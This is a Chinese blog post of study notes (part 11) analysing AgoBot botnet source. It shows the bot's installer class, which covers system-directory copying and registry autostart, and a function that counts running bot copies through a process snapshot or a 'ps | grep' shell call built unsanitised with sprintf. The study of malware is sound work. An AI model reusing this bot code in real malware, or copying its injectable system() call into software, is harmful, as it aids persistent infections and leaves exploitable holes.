您的位置:首页 > 理论基础 > 计算机网络

AgoBot 僵尸网络研究笔记(十一)

2008-04-18 17:36 387 查看

十一、2008年3月18日


作者:青青子衿
email:anzijin@sina.com

1、 分析Cbot的成员函数 bool CBot :: HandleCommand ( CMessage * pMsg ) 时,遇到关于 CInstaller 类的障碍,于是先分析 CInstaller 类

class CInstaller
{
public :
bool CopyToSysDir ( CString & sFilename );
bool Install ();
bool Uninstall ();
#ifdef WIN32
bool RegStartAdd ( CString & sValuename , CString & sFilename );
bool RegStartDel ( CString & sValuename );
#endif
CString m_sSysDir ;
};

该类有5个成员函数, 和一个CString类型的成员变量

2、 int GetCopies ( CString & sFilename ) 函数
/////////////////////////////////////////////////////////////////
//
//函数功能:得到系统中公有几个相同的bot在运行
//参数: CString &sFilename BOT 的文件名称
//返回值: 返回bot进程的数目
//
/////////////////////////////////////////////////////////////////
int GetCopies ( CString & sFilename )
{
#ifdef WIN32
char cFilename [ MAX_PATH ];
GetModuleFileName ( GetModuleHandle ( NULL ), cFilename , sizeof ( cFilename ));

//查找在系统中总共有几个该程序备份在运行
if ( fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next )
{
psnap = fCreateToolhelp32Snapshot (2, 0);
if ( psnap != INVALID_HANDLE_VALUE )
{
int copies =0;
pe32 . dwSize = sizeof ( PROCESSENTRY32 );

if ( fProcess32First ( psnap , & pe32 ))
{
do { if (( strncmp ( cFilename +( strlen ( cFilename )- strlen ( pe32 . szExeFile )),
pe32 . szExeFile , strlen ( pe32 . szExeFile ))==0) ||
( strncmp ( sFilename , pe32 . szExeFile , strlen ( pe32 . szExeFile ))==0))

copies ++;
} while ( fProcess32Next ( psnap , & pe32 ));
}

CloseHandle ( psnap );
return copies ; //返回系统中运行的bot的数目
}
else return 0;
}
else return 0;
//Linux平台下,
#else
//在linux平台只能判断有没有,不能判断,具体的数目。
char szCmdBuf [4096];

sprintf ( szCmdBuf , "ps ax | grep %s | grep -v grep > psaxtemp" , sFilename . CStr ());
system ( szCmdBuf ); //执行系统命令,将当前系统中的进程名称包含该文件名sFilename的进程,写入psaxtemp文件。

FILE * fp = fopen ( "psaxtemp" , "r" ); //打开保存有进程信息的文件
if (! fp )
{
//如果文件打开失败,返回0
return 0;
}

//获得文件的长度
fseek ( fp , 0, SEEK_END );
long lFileSize = ftell ( fp );
fseek ( fp , 0, SEEK_SET );

if ( lFileSize >0) //如果文件大于0返回1。
{
return 1;
}
fclose ( fp ); system ( "rm -f psaxtemp" ); return 0;

#endif // WIN32

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: